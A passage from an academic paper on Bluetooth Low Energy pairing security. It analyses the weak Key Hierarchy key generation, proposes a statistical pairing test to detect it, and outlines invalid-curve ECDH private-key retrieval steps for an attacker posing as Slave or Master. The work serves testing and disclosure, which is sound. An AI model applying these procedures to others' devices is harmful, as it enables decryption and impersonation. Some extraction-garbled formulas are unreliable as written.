add the modelisation of small subgroup and invalid curve attacks in the
symbolic model. They implemented this work in the Tamarin prover [11].
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Building up on Biham et al’s work, they tested their implementation on
the SSP Numeric Comparison procedure. It found the original attack and
also a new one where the authentication property could still be broken if
one of the two devices was vulnerable. Their attack applies equally to all
SSP and LESC procedures.’

Finally, Antonioli et al. [19] explored the ability to reduce the key size
down to vulnerable values in Bluetooth Low Energy, extending a previous
work they did on Bluetooth Classic [18]. However, besides suggesting and
verifying that the key size reduction was transposable to BLE, an in-depth
anaysis of the consequences of such attack on the overall security of BLE
communications is missing.

Overall, from a communication security standpoint, the Pairing process
of BLE has been scrutinized and found vulnerable in various cases.

3.1 Synthesis

It must be mentioned that the NIST published guidelines to Bluetooth
(Classic and LE) security in 2017 [37], which provide an accurate view of
the threats to communication security up to the publication date, even
though results presented in previous section are not referenced. This guide
also provides good practices and verifications to properly integrate BT
and BLE communications in an application.

There have been many attempts to provide descriptions of how the
Pairing procedure occurs, the different steps it requires and how the
choice of the Pairing procedure is made. However, from the authors’s
experience, those descriptions are generally paraphrasing the specification
without improving the overall understandablitity of those over-complicated
processes. Rather than explaining in details the Pairing and Bonding steps,
an alternative description of those processes is proposed. It applies equally
to all Pairing procedures:

— Identification: devices identify themselves and provide their abil-

ities;

— Key exchange: devices exchange a key;

— Authentication: devices authenticate the key that has been ex-

changed;

— Key generation: devices generate several keys if needed

— Key distribution: devices provide their set of keys to the other.

5. In spite of a typo in the curve used (P-224 is used neither in SSP nor LESC),
their results hold for both SSP and LESC.
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This alternative description fails to take into account the subtleties of
the specification and the fact that some elements are optional, but can be
used to contextualise the various works presented.

Authors [Mode |Procedure Element Impact
discussed
Ryan et|Legacy |JustWorks, |Key Exchange |Confidentiality and Integrity of
al. [40] Passkey Entry those procedures do not hold
Rosa [38]|Legacy |Passkey Entry|Authentication |[Authentication property in this
Pairing procedure does not hold
Haataja |[SSP all Identification |MITM on the JustWorks procedure
et al. [29]|(and is possible, various downgrade at-
LESC) tacks to force the use of the Just-
‘Works procedure.
Lindell, |SSP Passkey Entry|Authentication [Passkey is not protected against
A.[33] |(and passive eavesdropper. Using pre-
LESC) dictable passkeys exposes to MITM
attacks.
Lindell, [SSP Numeric Authentication |Formal proof of the security of the
A. [34] Comparison SSP Numeric Comparison proce-
dure
Biham et|SSP all Key Exchange |Some implementations do not cor-
al. [22] |(and rectly verify received public key val-
LESC) ues and are susceptible to MITM
attacks.
Cremers [SSP all Key Exchange |An implementation which does not
et al. [27]|(and correctly verify received public key
LESC) does not guarantee the Authentica
tion property.
Antonioli|Legacy |all Identification |Discussion about the susceptibility
et al. [19]|and of BLE to key length reduction at-
LESC tacks.

Table 1. Summary of relevant literature for Bluetooth Low Energy communication

security

Table 1 summarises the results and known attacks on Bluetooth Low
Energy. It also provides insight into the procedure step which has been
impacted, using the terminology proposed above.



T. Claverie, J. Lopes-Esteves 263

4 Key generation in Bluetooth Low Energy

4.1 Legacy Pairing

In Legacy Pairing, devices end the Pairing process with STK. The
LTK, CSRK and IRK are generated as part of the Bonding procedure
and exchanged over an encrypted link.

When encrypting the link, a device needs to know the security context
(i.e. which key) to use. When persistently stored, the keys are associated
with two pieces of information called EDIV and Rand. Those numbers are
sent during the Link Encryption procedure in a specific message. When
encrypting the link for the first time with a device (e.g. right after a
Pairing procedure) those numbers are set to 0 because they have not been
generated yet. Each device provides its own EDIV and Rand alongside
the set of keys during the Bonding procedure.

Regarding the actual generation of the keys, the specification is loose
on the details and doesn’t require anything. It gives two examples of
generation:

— Keys are randomly generated;

— Keys are generated using a Key Hierarchy mechanism.

As there is not much to say about random number generation at a
protocol’s level® the Key Hierarchy option will be discussed in more
details.

This option brings in three new keys:

— ER: Encryption Root

— IR: Identiy Root

— DHK: Diversifier Hiding Key

Furthermore, it defines another parameter called DIV, which serves as
an identifier for a bond. In this method, EDIV is the masked version of
DIV. The generation itself uses two functions called dm and d1. Operator
-|- denotes concatenation.

dm takes two arguments: a 128-bit key and a 64-bit value.

dm(k,r) = aes_128(k, 0x0000000000000000|r) mod 2
dl takes three arguments: a 128-bit key and two 16-bit values.
d1(k,d,r) = aes_128(k,02000000000000000000000000|r|d)

The key generation works as follows:

6. Other than generic statements like "It should be cryptographically secure"
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— Generate DIV (16 bits) and Rand (64 bits);
— Compute LTK = d1(ER,DIV,0);

— Compute CSRK = d1(ER,DIV,1);

— Compute IRK = d1(IR,1,0);

— Compute DHK = d1(IR, 3,0);

— Compute EDIV = DIV @& dm(DHK, Rand).

: Data specific to a bond

: Data specific to the device

Random generation

: Generation mm

Rand DIV ER IR
(64 bits) (16 bits) (128 bits) (128 bits)

UL

AES

DHK
(128 bits)

AES

XOR AES AES AES

h h h h

EDIV LTK CSRK IRK
(16 bits) (128 bits) (128 bits) (128 bits)

Fig. 3. Summary of the Key Hierarchy generation method

Figure 3 shows the key generation in LE Legacy Pairing. It summarizes
the various elements involved as well as their size. It also shows that the
IRK is static per device. Even without using the Key Hierarchy method
for generating keys, the IRK must be unique: if two devices have paired
with the same slave device, they must know the IRK that the slave uses
in its advertising messages, hence the unicity.
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4.2 LE Secure Connections

In LE Secure Connections, devices exit the Pairing process with a
shared LTK. Only the CSRK and IRK are generated as part of the Bonding
procedure and exchanged over an encrypted link.

The CSRK and IRK can be generated using the same processes as in
Legacy Pairing: either using random generation or using the Key Hierarchy
method. In the latter case, it uses the exact same keys, elements and
algorithms as in Legacy Pairing.

As explained in section 2.3, all pairing methods of LE Secure Connec-
tions start with an ECDH key exchange over curve P-256. After this key
exchange, both devices share the Diffie-Hellman Key: DHKey. This key
is used to generate the LTK using two random numbers and the device
addresses of the master and slave.

The random numbers and device addresses are transmitted over the
BLE link, no matter which Pairing procedure involved (even OOB). This
means that if an attacker is able to eavesdrop the communication and gains
knowledge of the private key used by a device during the ECDH exchange,
he will be able to retrieve DHKey and therefore the LTK derived by both
devices. This is a desired property of BLE communications (from Bluetooth
SIG’s point of view) to enable debugging encrypted communications with
knowledge of one of the used private keys and a capture of the pairing.
The specification mentions that devices may implement a Debug mode,
in which a default Debug keypair ” is used for the ECDH exchange and
implements exactly this feature.

5 Analysis of the Key Hierarchy generation

This section studies the Key Hierarchy generation method and deter-
mines a testing procedure to verify if a device uses it.
5.1 Issues with Key Hierarchy

The problem with this generation scheme is the lack of possible keys:
LTK and CSRK are generated by encrypting a changing 16-bit value
(DIV) with a 128-bit static key (ER). As described in section 4:

LTK = aes_128(F R, 02000000000000000000000000| D1V |0)

CSRK = aes__128(F R, 0x000000000000000000000000|DI1V|1)

7. This keypair is standardised and can be found in the specification.
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There is no overlap between possible LTKs and CSRKs for a device
due to the last bit of the cleartext which is fed into the AES, that changes
depending on the key to generate. This means that a given device (thus a
given ER) can generate only 2'6 LTKs and 2! CSRKs with this method.
More precisely, for a given ER, a device can generate only 2'¢ (LTK,
CSRK) key pairs.

This brings two issues: first, when a device pairs with a lot of devices,
there is a high probability that two devices will derive the same LTK
or CSRK. The birthday paradox indicates that if a device performs 302
pairings, there is a 50% chance that it will generate twice the same DIV,
meaning that it will generate twice a given LTK and CSRK.

Second, this also means that if an attacker has access to a vulnerable
device for long enough, he can pair it multiple times and enumerate all
possible LTKs and CSRKs. Knowing the possible LTKs means that an
attacker could decrypt all the past and future connections® for which the
device has acted as a slave and used a bond. This would enable an attacker
to decrypt communications even without assisting to the Pairing
procedure, which is a significant change compared to existing results on
BLE communication security. Knowing the possible CSRKs means that
an attacker could sign data and impersonate one of the two devices of
the bond. Alternatively, compromising ER of a given device one way or
another would allow an attacker to generate all LTKs and CSRKs that
would be generated by a device, for the same results.

The root of the issue here is that DIV is 16 bits, hence does not
provide enough diversification in the generated keys. As the problem
affects the Key Generation step, it is agnostic of the Pairing procedure
used for a given Pairing mode. Putting DIV to a larger value (e.g. 127 bits,
considering the one-bit switch between CSRK and LTK) would eliminate
this issue, but is not possible with the current standards due to message
formats.

Devices that use the Key Hierarchy generation algorithm for either
Legacy Pairing or LE Secure Connections should change to the first
proposed scheme which is random generation. Even though this problem
affects both Legacy Pairing et LE Secure Connections, the impact is higher
for the former as the LTK is also generated this way.

It should be noted that this issue is likely known by the Bluetooth
SIG. In the current version of the specification (v5.2), the key generation
procedures are discussed in Vol. 3, Part H, Appendix B., Paragraph 2.2:
"This method [Key Hierarchy| provides an LTK and CSRK with limited

8. BLE does not offer the Forward Secrecy property
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amount of entropy because LTK and CSRK are directly related to EDIV
and may be less secure than other generation methods. To reduce the
probability of the same LTK or CSRK wvalue being generated, the DIV
values must be unique for each CSRK, LTK, EDIV, and Rand set that is
distributed. "

5.2 Detecting the implementation of the Key Hierarchy
generation method

In many cases, BLE devices are closed-source and their code cannot
be audited. Even when the BLE stack is open-source, the information
regarding the security settings and parameters is not accessible. Thus,
there exists no generic approach to straightforwardly determine if the cryp-
tographic material has been generated using a Key Hierarchy scheme.
This section will provide a testing method applicable even for black-box
devices to determine which key generation scheme is used. An important
assumption is however made here regarding the key generation methods.
It is assumed that the key generation scheme used is whether the Key
Hierarchy or the random generation, given as examples in the standard.

First approach The main idea is to try to determine the size of the key
space on the tested device by collecting CSRKs and LTKs it generates
when performing successive pairings. If the Key Hierarchy generation
method is implemented, it will allow to generate only up to 2! different
keys. A random generation of a 128 bit key will provide keys in a 2'28 key
space. Therefore, if after collecting 2'6 4+ 1 LTKs no collision is found, it
means the other key generation method is used. However, if a collision
occurs, this approach is inconclusive as a small probability exists that the
collision is random.

Repeatingly pairing two devices has a non-negligible temporal cost
as each pairing implies an update of the BLE state machine and the
management of bonds for the slave device. Manual empirical tests on
devices have shown that the pairing process is conducted rather quickly
(< 1sec). However, erratic behavior ? can sometimes occur, introducing a
longer waiting time required between two pairings. In order to roughly
estimate the time necessary to perform the test, it seems reasonable to
consider that the delay between two successive pairings ranges between 1

9. Typically, pairing process has been found to be interrupted by the slave device
for no apparent reason when one pairing process was done too close to another.
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and 10 seconds.!” Based on those timings, enumerating 2'¢ + 1 LTKs and
CSRKs for a device would take between 65537 and 655370 seconds, which
corresponds respectively to 18h 12min and 7d 14h 3min.

Generalizing the approach The outcome of the first approach shows
that testing for collisions for determining the key space raises a confidence
question regarding the result of a test campaign. Indeed, if no collision if
found after observing more than the entire smallest key space, there is a
100% confidence that the key generation method is not the vulnerable one.
If only a subset of the key space is observed, this confidence decreases.
On the other hand, if a collision is observed, the generation method can
be either the Key Hierarchy or the random generation. Increasing the
number of observations will also increase the probability of witnessing a
random collision.

As such, the number of observations is a key parameter for estimating
the efficiency of the test, by maximizing the probability of detection while
minimizing the required testing time. In what follows, the formalization of
this decision problem is proposed in order to provide a theroretical basis
which can be used to tune the testing parameters in order to adapt the
testing efficiency to the operational testing conditions (number of devices
to test, total testing time available).

Estimating the test efficiency The following propositions are estab-
lished:

T the test is positive

T: the test is negative

V': the device is vulnerable; it employs the Key Hierarchy generation
mechanism.

V: the device is not vulnerable; it does not employ the Key Hierarchy
generation mechanism.

By hypothesis, a device that does not use Key Hierarchy will use
the random generation, which yields 2'?® possible keys. This also means
that P(V)+ P(V) = 1.

The question that naturally arises is how to interpret the result of
the test: what does it mean that T is true or false regarding the tested
device’s key generation method? The quantities of interest are therefore
the True Positive rate P(V|T'), the False Positive rate P(V|T), the False
Negative rate P(V|T) and the True Negative rate P(V|T).

10. On some devices, additional steps are required to put them in pairing mode, in
which cases this timing may change.
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Using Bayes theorem, we can develop:

_ P(V)P(T|V)
PVIT) = P(V)P(T|V) + P(V)P(T|V)

7 _ P(V)P(T|V)
PVIT) = P(V)P(T|V) + P(V)P(T|V)

and

P(V|IT)=1- P(V|T)
P(V|T) =1— P(V|T)

Collision probabilities can be determined with the birthday paradox. To
simplify notations, the function b is introduced to compute the probability
of collision when taking at random ¢ elements out of n:

tx(t—1)
n — 2

n

b(t,n) = (

It is possible to know the probability to get at least one collision in ¢
attempts knowing that a device can generate ng = 26 and n; = 2'%® keys
respectively:

P(T|V) = b(t,n0) = bo(t)
P(TV) = b(t,n1) = bu(t)
After applying those values in the equation of P(V|T), then substitut-

ing P(V) with 1 — P(V):

- bo(t) * P(V)
PVIT) = 3+ P(vg (D) = (1= P(V))

After applying those values in the equation of P(V|T), then substitut-

ing P(V) with 1 — P(V):
(1 —bo()) P(V)
(1 =bo(£))P(V) + (1 = ba(8))(1 = P(V))
The probability of encountering a vulnerable device P(V') is unknown
and therefore a definitive answer is out of reach, however those functions
can be studied with P(V') varying from 0 to 1. The functions f1 and

f2 are defined over the interval [0; 1] x [2;65535], using the equations of
P(V|T) and P(V|T) respectively:

P(V[T) =
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B bo(t)p
PP = G Bt b1~ p)
fopt) (1="bo(t))p

(1=bo(t))p+ (1 =b1(t)) (1 —p)

If the test were perfect, it would always discriminate vulnerable devices
from non-vulnerable ones. Using the previous notations, it would mean
that f1(p,t) =1 and f2(p,t) = 0.

0.8 I

~f1(p.10)
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Fig. 4. Evolution of f1(p,t) and f2(p,t) depending on the number of trials

Figure 4 shows the impact of the number of trials on the expected
accuracy of the test. Nothing significant can be seen at this scale regarding
the evolution of the True Positive rate: if the test is positive then it means
with near certainty that a device is vulnerable. What can be noticed
instead is the variation of the False Negative rate. It still depends a lot
on p, but choosing a large enough number of trials can reduce a lot the
expected number of False Negative, hence the number of devices which
are misclassified as not vulnerable.

Table 2 summarises some threshold numbers for several values of .
The first two columns provide a condition on the proportion of vulnerable
devices p to get more than 99% of True Positive results (the lower the
better) and less than 1% of False Negative results (the higher the better).
The last two columns display the expected rate of True Positives and False
Negatives under the assumption that there are 10% devices vulnerable.

The green curves in figure 4 represent the False Negative rate relatively
to the proportion of vulnerable devices. It becomes sharper with an
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f1(p, t=N) >= 0.99[f2(p, t=N) <= 0.01[f1(0.1, t=N)[f2(0.1, t=N)

N=10 |p >=1.907+1073%| p <=1.001 %1072 | ~1.000 |9.994 %1072

N=100 |p >=1.980% 10722 | p <=1.078 %1072 | ~1.000 |9.340 % 1072
N=300 |p >=2.633%1073? | p<=1.963%10"2 | ~1.000 |5.307 %1072
N=500 | p >=4.265%1073% | p <= 63471072 | ~1.000 |1.629 %1072
N=700|p >=7.292% 10722 | p<=2969%10"% | ~1.000 |2.65110~3
N=1000|p >= 1454+ 1073 | p <=9.538 x 10~ | =~ 1.000 |5.440%107°
N=2000|p >= 5.816 x 10~3! p<=1—c¢ ~1.000 [6.290* 1015

Table 2. Summary of results regarding f1 and £2; with ¢ < 1073

increasing number of trials. Optimizing the efficiency of the test becomes
equivalent to choosing a value of ¢ such as the False Negative rate is
minimized and ideally independently from the value of p. The ideal green
curve would be a straight line from (0,0) to (1,0). The problem can then be
translated to a tradeoff between the number of trials and the minimization
of the area under the green curve. In this case, this can be done by taking
the definite integral of f1 and f2 over p. The functions F'1 and F2 are
defined:

1

L0 = [ 11,
0
1
ra0) = [ 1200,
0

t)dp

t)dp
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Fig. 5. F1(t) and F2(t) for ¢t € [2;2000]
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Figure 5 shows the evolution of the area under both curves with the
number of trials, here varying from 2 to 2000. The curves remain flat
from 2001 to 65536 trials, not shown here. This validates the observations
made from Figure 4. Furthermore, it shows that the False Negative rate
improves a lot with the number of trials at the beginning, then improves
only marginally after that.

Overall, this shows that choosing a number of observations comprised
between 500 and 1000 will result in an interesting tradeoff between tem-
poral cost and test efficiency. The choice of parameters is ultimately a
compromise between the time needed for the test and the desired precision.
Furthermore, it can be deduced that between the naive test of 216 41 pair-
ings and 1000 pairings, the difference in accuracy is neglectable whereas
the temporal cost difference is significant.

The numeric values and graphics in this section have been generated
with SageMath [10]. The script to compute all the elements presented can
be found in Appendix A.

6 Issues with the ECDH key exchange

This section will detail the work of Biham et al. [22] and the im-
provements of Cremers et al. [27]. It will introduce the need to study an
overlooked element in those papers which is the key retrieval scenario.
After defining it and discussing it in depth in the context of BLE, testing
procedures are proposed to verify that implementations are not affected
by this problem.

6.1 Previous Work

Biham et al. [22] studied the use of ECDH in SSP and LESC. They
noticed that in the exchange, both devices send their full public key: the
X and Y-coordinate of their public point. However, in the authentication
process only the X-coordinate is verified, which means that an active
attacker can change the Y-coordinate without affecting the authentication
property of the Pairing procedure used.

Their attack consists in changing the Y-coordinate to 0 to reduce the
number of possibilities DHKey can take. They have imagined two versions
of this attack: one where they only affect the key exchange and has a 25%
chance of success and another where they affect the key exchange and all
subsequent messages which has a 50% chance of success. In both cases,
the principle remains the same. The question that arises naturally is: what
happens when an attacker can change the Y-coordinate?
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As usual in ECDH, DHKey is generated by multiplying a device’s
private key with the peer’s public key. When multiplying the point (x,0)
with any private key the result will be (x,0) (the same point) or a specific
point of the curve called Point at infinity P...

Master Attacker Slave
I |
priv_m=s_m priv_.s=s s
pub m=xm,y m pub s=x 5y &

PairingPublicKey (x_m,y_m)

PairingPublicKey(x_m,0)

PairingPublicKey(x_s, y_s)

F Y

PairingPublicKey(x_s,0)

-

@l dhkey_s =s_s = (x_m,0)
L ]

Fig. 6. Attack proposed by Biham and Neumann

The attack they proposed is depicted in figure 6. At the end, the
master has derived DH Key,, = (z5,0) or Py and the slave has derived
DHKeys = (z,0) or Py Therefore, there is a 25% chance that both
devices agree on DHKey being Ps,'' in which case the attacker also
knows it hence he will be able to retrieve the LTK generated. For more
details about the rules of addition over elliptic curves that make this
attack possible, one could refer to an article [35] published shortly after
the original paper.

It should be noted that changing this coordinate invalidates the point:
it is no longer on the chosen curve and this can be detected by the imple-
mentation. Another finding of Biham et al. was that some implementations
did not implement this verification and were vulnerable to this attack.
Also, to be successfully conducted this attack requires the two devices
to be vulnerable. If one target implements the verification, then the pair-
ing won’t complete. This was given the CVE identifier 2018-5383 and
published during summer 2018. Since then, the specification explicitly
mentions that the ECDH public key must be validated for successfully
completing the Pairing.

11. It was determined by the researchers that the memory representation of this value
was 0 on the studied implementations.
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Cremers et al. [27] built up on this result using the automatic security
protocol prover Tamarin [11]. Their implementation found the same attack.
It also found that when only one device is vulnerable, it is possible to
break the authentication property of the Pairing procedure. Here is a
quick outline of their attack:

1. The attacker replaces the Y-coordinate of the public key of the
protected device by 0 but transmits the unmodified public key of
the vulnerable device;

2. Both devices will complete the Pairing procedure without problem;
3. When the pairing ends, both devices will have unmatched DHKey;

4. The attacker then takes the place of the protected device by guessing
the value of DHKey of the victim, it has 50% of success;

5. If successful, the protected device will notice a different DHKey
and disconnect; the victim device will be connected and paired
with the attacker.

Cremers et al. also found that in case of a static ECDH key, a vulnerable
device is susceptible to a key retrieval attack. The specification has slightly
changed between versions 5.0 and 5.1: requirements regarding public key
validation are more precise in order to prevent these types of attacks. The
reader will find the paragraph on the validation of received public keys in
Vol 3, Part H, section 2.3.5.6.1 of the specification. The section detailing
the private key renewal requirements is in Vol 3, Part H, section 2.3.6. In
the latest version of the specification, it is mentioned that the received
public key must be verified against the curve equation and that the private
key should be rotated in the worst case every 8 pairing attempts.

Both research efforts brushed off the key retrieval scenario by mention-
ing that almost all devices did re-generate their keypair at each pairing
attempt. However, during our observation of BLE devices, it was found
that some embedded devices do not follow the specification and keep
the same keypair for longer than specified. Therefore, the key retrieval
scenario cannot be completely overruled and deserves to be studied.

6.2 Studying the complexity of key retrieval in BLE

In the context of elliptic curves, key retrieval is a type of invalid curve
attack which has been described first by Biehl et al. [21] and developed
by Antipa et al. [17]. This type of vulnerability has already been found in
two TLS implementations [31], leading to a private key compromise when
TLS_ECDH_ * cipher suites were used by the server.
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The generic idea behind this attack is that an attacker will send
invalid points to an oracle, which will multiply those points by a constant
secret value. The attacker can retrieve the result of this computation and
compute the secret little by little. In the attack proposed by Biham et
al. [22], replacing the Y-coordinate of the two public keys with 0 is a way
of constructing two points which will generate each a group of order 2.
This is another way to explain the 25% chance of success of their attack.

To retrieve the private key, an attacker needs to generate multiple
points pg, p1, p2, ... which will generate groups of order ng, n1,no, . ... For
one generated group, knowing which point was computed by the target
device is equivalent to knowing the private key of the target device modulo
the order of the group. For example, retrieving the computed key after
sending the point (x,0) is equivalent to knowing the private key of the
target modulo 2. The Chinese Remainder Theorem states that that when
we retrieve a number s modulo ng,n1,ns,...n;, it is possible to compute
s mod N, with N = lem(ng,n1,na,...n;) (the least common multiple).
In particular if all n are relatively prime, we have N = Hj‘:o n;. If an
attacker retrieves enough moduli such that N is greater than the order of
the curve used, then it is possible to completely retrieve the private key
of the target.

The process for generating interesting invalid points and retrieving
the complete private key from an oracle has already been developed in
several publications [17,21,31]. The oracle is a way to retrieve the private
key modulo a single n. By making several calls to the oracle with different
n, it is possible to retrieve the complete private key. Next section will
demonstrate how it is possible to build such an oracle from a vulnerable
Bluetooth Low Energy device and discuss the cases of a master and slave
device.

Figure 7 shows the scenario needed to perform this attack. Again, as
in the key enumeration against the insecure Key Hierarchy generation
method, an attacker needs to have access to a device for a certain amount
of time and to be able to perform many pairing attempts with it.

Figure 8 depicts the pairing process in LE Secure Connections. Beyond
the steps of identification and key exchange, the exact messages exchanged
for authentication depend on the Pairing procedure used (JustWorks,
Passkey Entry, ...). After those messages, the Pairing procedure ends
with an exchange of messages of type PairingDHKeyCheck which are
used, as the name suggests, to verify that DHKey derived at both ends of
the connection matches.
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Fig. 7. Outline of the Key Retrieval process

In the studied case, one end of the connection is malicious and tries to
retrieve the private key of the other device. What can be seen in Figure 8
is the asymmetry between the Master and Slave roles: the Master initiates
the exchange of DHKeyCheck messages, while the Slave only answers to
the Master.

In the easiest case, the attacker poses as a Slave and wants to retrieve
the private key of the Master modulo n.

1. The Slave sends a point which generates a subgroup of order n;

2. The Slave receives the PairingDHKeyCheck sent from the Master;
3. The Slave aborts the Pairing procedure;
4

. The Slave computes offline which subgroup element was used to
generate the DHKey computed by the Master and which produces
the gathered PairingDHKeyCheck value.

Therefore, to get the information of the private key modulo n, the attacker
needs 1 pairing attempt and n-1 offline computations by posing as a
Slave.

In the opposite case, the attacker poses as a Master and wants to
retrieve the private key of the Slave. Note that in this case, the attacker
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Fig. 8. Overview of the Pairing procedure in LE Secure Connections

has to guess values that produce a correct Master PairingDHKeyCheck
in order to receive the Slave PairingDHKeyCheck value. This process is
outlined as follow:

1. The Master sends a point which generates a subgroup of order n;

2. The Master takes the first element of the subgroup and sends a
matching PairingDHKeyCheck;
— If the Slave answers (i.e. the Pairing completes), the Master
stops;
— Else, the Master restarts the Pairing process using the same
point and uses the next element in the subgroup.

Therefore, to get the information of the private key modulo n, the attacker
needs in the worst case n - 1 pairing attempts and as much offline
computations by posing as a Master.

Hence, if a BLE device does not verify the public key received in
LE Secure Connections and does not renew it’s key material frequently
(as mandated by the standard), it is possible for an attacker to retrieve
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partially or completely the ECDH private key, depending on the role of
the victim device and the number of pairing attempts performed. It has
been shown how to use both a Slave and a Master as an oracle in order to
finally retrieve information about this private key. In order to evaluate
the exact cost of this attack, one would need more informations about the
target role, the time between two pairing attempts and decide of a tradeoff
regarding the amount of computation to do offline and the number of
pairing attempts.

This does not represent a new vulnerability, but extends the work of
Biham et al. [22] and Cremers et al. [27] by studying the impact of CVE-
2018-5383 in other scenarios. Devices must check the public key received
and not perform computations based on invalid ones. Furthermore, it is
a good practice, in the case of BLE to regenerate the keypair regularly,
ideally at each new pairing attempt Finally, imposing a delay between too
many pairing attempts, either successful or failed, could prevent this type
of attacks.

All those recommendations are clearly identified as mandatory in the
latest versions of the Bluetooth specification.

6.3 Testing for ECDH keypair renewal

The specification mentions in Vol 3, Part H, paragraph 2.3.6 that
devices should regenerate their keypairs every 8 pairing attempts in the
worst case. Hence, if a device has kept the same public key during 9
successive pairings, then it most likely does not follow this line of the
specification. Despite being a non-compliance to the standard, this element
alone does not endanger communication security with regards to the
considered attacker models.

In order to perform this test, it is just necessary to actually initiate
several legitimate pairings and check when the public key changes.

6.4 Testing the validation of ECDH public keys

A testing methodology is described for determining if a target device
is vulnerable to CVE-2018-5383 in [22]. A Bluetooth stack is modified so
as to allow using invalid ECDH keypairs and is used in order to perform
several pairing procedures with various devices. If the pairing succeeds it
means that the device does not verify the validity of the public key and is
therefore vulnerable.

The Bluetooth SIG has recently opened its test criterias, among which
a test procedure for the validation of public keys. The drawback of the
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described method is that it only ensures that a device does not accept a
public key having a Y-coordinate at 0. The problem of this type of test is
already addressed by Biham et al. [22] and they propose to choose invalid
points of small order (e.g. 3) for testing devices. However, SIG’s approach
does not test with high confidence for invalid points whose coordinate is
different than 0.

Another problem is that when testing a Slave device, some targets do
not immediately reject a public key. In this case, one has to guess the
value of DHKey that has been derived by the Slave in order to try to
complete a successful pairing. This guess has only one chance over the
order of the generated group to succeed, for example it has a 33.33%
chance of success when providing a point which generates a group of order
3. The implication is the following: when an invalid public key is used
and the slave has rejected the pairing at the DHKeyCheck step, it is
impossible to distinguish if the rejection cause was an invalid public key
or if it was a wrong guess for DHKey. For this reason, multiple pairing
attempts are needed to have a higher confidence that a slave has rejected
pairing because it truly verifies the public key.

It should be noted that there exists a Proof of Concept to test the
presence of the vulnerability in Bluetooth Classic devices. This proof
of concept is included in the framework InternalBlue [16] and requires
the instrumentation of a Nexus 5 phone. In addition of being specific to
Bluetooth Classic, it only supports Master mode, hence is unable to test
Master devices.

7 Implementation and test results

This section will describe the choices made to implement the two tests
aforementioned.

7.1 Existing implementations

On an implementation level, BT and BLE define two entities:
— The Controller, which handles the radio link and some other pro-
cedures;
— The Host, which gives orders to the Controller and implements
higher-level protocols.
Both components communicate through the Host-Controller Interface
(HCI). In Bluetooth Low Energy, it is easier to perform tests about the
pairing process (relatively to Bluetooth Classic) for one main reason: the
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pairing process is implemented completely by the Host, while in BT it is
mainly implemented by the Controller.

Open-source BLE Host stacks include Linux’s stack BlueZ [4], An-
droid’s stack Fluoride [9], Mynewt’s stack NimBLE [1] for embedded
devices and Zephyr project’s stack [13] also for embedded devices.

Though those projects are interesting when the goal is to develop
a BLE-enabled device, in order to test their security the framework
Mirage [6] is more suited. It enables to develop new tests and applications
in Python, thus to iterate quicker. Also, it interfaces with many type of
devices natively. When performing tests about the Pairing and Bonding
processes, the ideal case if to interface directly with a BLE chip using the
HCI protocol, which is exactly what Mirage enables.

7.2 Testing for the Key Hierarchy generation method

In order to test the Key Hierarchy generation method, one has to bond
many times with a device to observe the keys generated.

Perform multiple bondings with a device To bond with a device,
one always has to perform an entire pairing attempt first In order to
automate the pairing process, not all devices have the same abilities. In
some cases, it is needed to instrument a device to pair it with another one
or to put it in pairing mode. Rather than trying to provide an exhaustive
list, different types of devices will be discussed.

First, some devices require no instrumentation at all: they advertise
themselves and accept connections automatically. In this case, one only
has to scan, connect, pair then disconnects as many times as needed to
perform the test. This approach can be applied to test various BLE stacks,
where it is possible to develop its own application using a provided API.
Some commercial devices also exhibit this behavior.

In other cases, the device needs a user confirmation to accept a pairing
attempt. This is the case, amongst others, of smartphones, whose leading
operating systems at the time of writing are Android and iOS. To study
phones, the application nRFConnect may be used to work more easily
with BLE. With it, it is possible to put a device into advertising and
connectable mode: it will accept connections and pairing requests (upon
user confirmation). In order to automate the pairing accept, one has to
send touch events to a device. In the case of Android, it is possible to
send touch events using Android Debug Bridge and shell commands, as
explained in [2]. For iOS, the authors are not aware of a similar way to
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send touch events. Alternatively, one could replicate the approach used
by Markert et al. [36] where they used a mecanical robot for this.

Other devices such as smartwatches may also need a user confirmation
(e.g. physical keypress) to accept pairings. In addition, some devices must
be put into pairing mode for each attempt, using dedicated buttons or
combination of buttons. In those cases using a mecanical approach may
be the least intrusive way to automate the pairing process, however no
general rule can be given here.

Overall, the way a device is instrumented will also impact the perfor-
mance of the test. If several actions are needed to perform one pairing, it
will slow the testing process as much.

Performing multiple pairings on a controlled device In order to
study the efficiency of the proposed test, it was chosen to use a controlled
device. This device is a BLE Nano 2 from RedBear, based on the nRF 52832
chipset. The firmware used was a custom version of Mynewt’s NimBLE.
The example application ’bleprph’ was installed, configured with Pairing
and Bonding support. This implements the first case discussed: the device
advertises itself automatically, no inputs are needed to put it into pairing
mode or to make it accept the pairing.

There was a modification done to the underlying stack: by default,
NimBLE uses the random generation mechanism. The stack was modified
to implement the Key Hierarchy mechanism, hence the device tested was
known to be vulnerable.

First, the test was ran using the parameter of 1000 tests. Mirage
was used on the testing computer, with the internal BLE chipset. The
Pairing procedure was set to Legacy JustWorks, that is the one with the
least messages exchanged. The first collision was found after 389 pairing
attempts, in 54 minutes and 6 seconds. Overall, in 1000 tests, there were
7 collisions in total. Then, 2000 pairings were performed to study the
interval between two pairing attempts: this setup performs one pairing
attempt every 8.5 seconds in average (standard deviation is 1.38s). The
limiting factors were the time needed to scan (set to 2 seconds) and the
interval between the end of an attempt and the next one (set to 2 seconds).
Those delays are needed to let the different stacks reconfigure themselves.
For example, without pause between two attempts, the chipset of the
computer failed every few attempts.

Overall, this shows that it is possible to perform multiple pairings
with devices. The value of 1 to 10 seconds per pairing attempt given
in Section 5 proved a bit optimistic, with real values of at least several
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seconds for non-optimised versions. This observation reinforces even more
the use of a statistic test which observes only a subset of possible keys.
During a test campaign on a dozen devices, it was found that at least
one commercial implementation uses the Key Hierarchy key generation
mechanism, which was successfully detected with the proposed method.
None of the tested devices implemented the recommendation of gradually
adding delays between pairing attempts. An ongoing responsible disclosure
process prevents from providing more precise results.

7.3 Testing the ECDH key exchange

In its previous state, Mirage had a pairing module whith support
for LE Legacy Pairing. Therefore, the new messages and cryptographic
primitives added in LE Secure Connections had to be developed and
were added to Mirage. Finally, the module ble_ pair was modified to
implement the new pairing methods specific to LE Secure Connections.

Overall, this module now supports:

— Pairing using LE Legacy Pairing as Master and Slave, for procedures

JustWorks, Passkey Entry and Out of Band

— Pairing using LE Secure Connections as Master and Slave, for

procedures JustWorks, Passkey Entry and Numeric Comparison

As mentioned in Paragraphs 6.3 and 6.4, there are two tests that can
be performed on this key exchange:

1. Verify that the keypair is rotated as mandated by the specification
2. Verify that the public key is validated by the device under test

While the implementation of the first test is straightforward, the second
one is necessarily imperfect. It was observed that some implementations
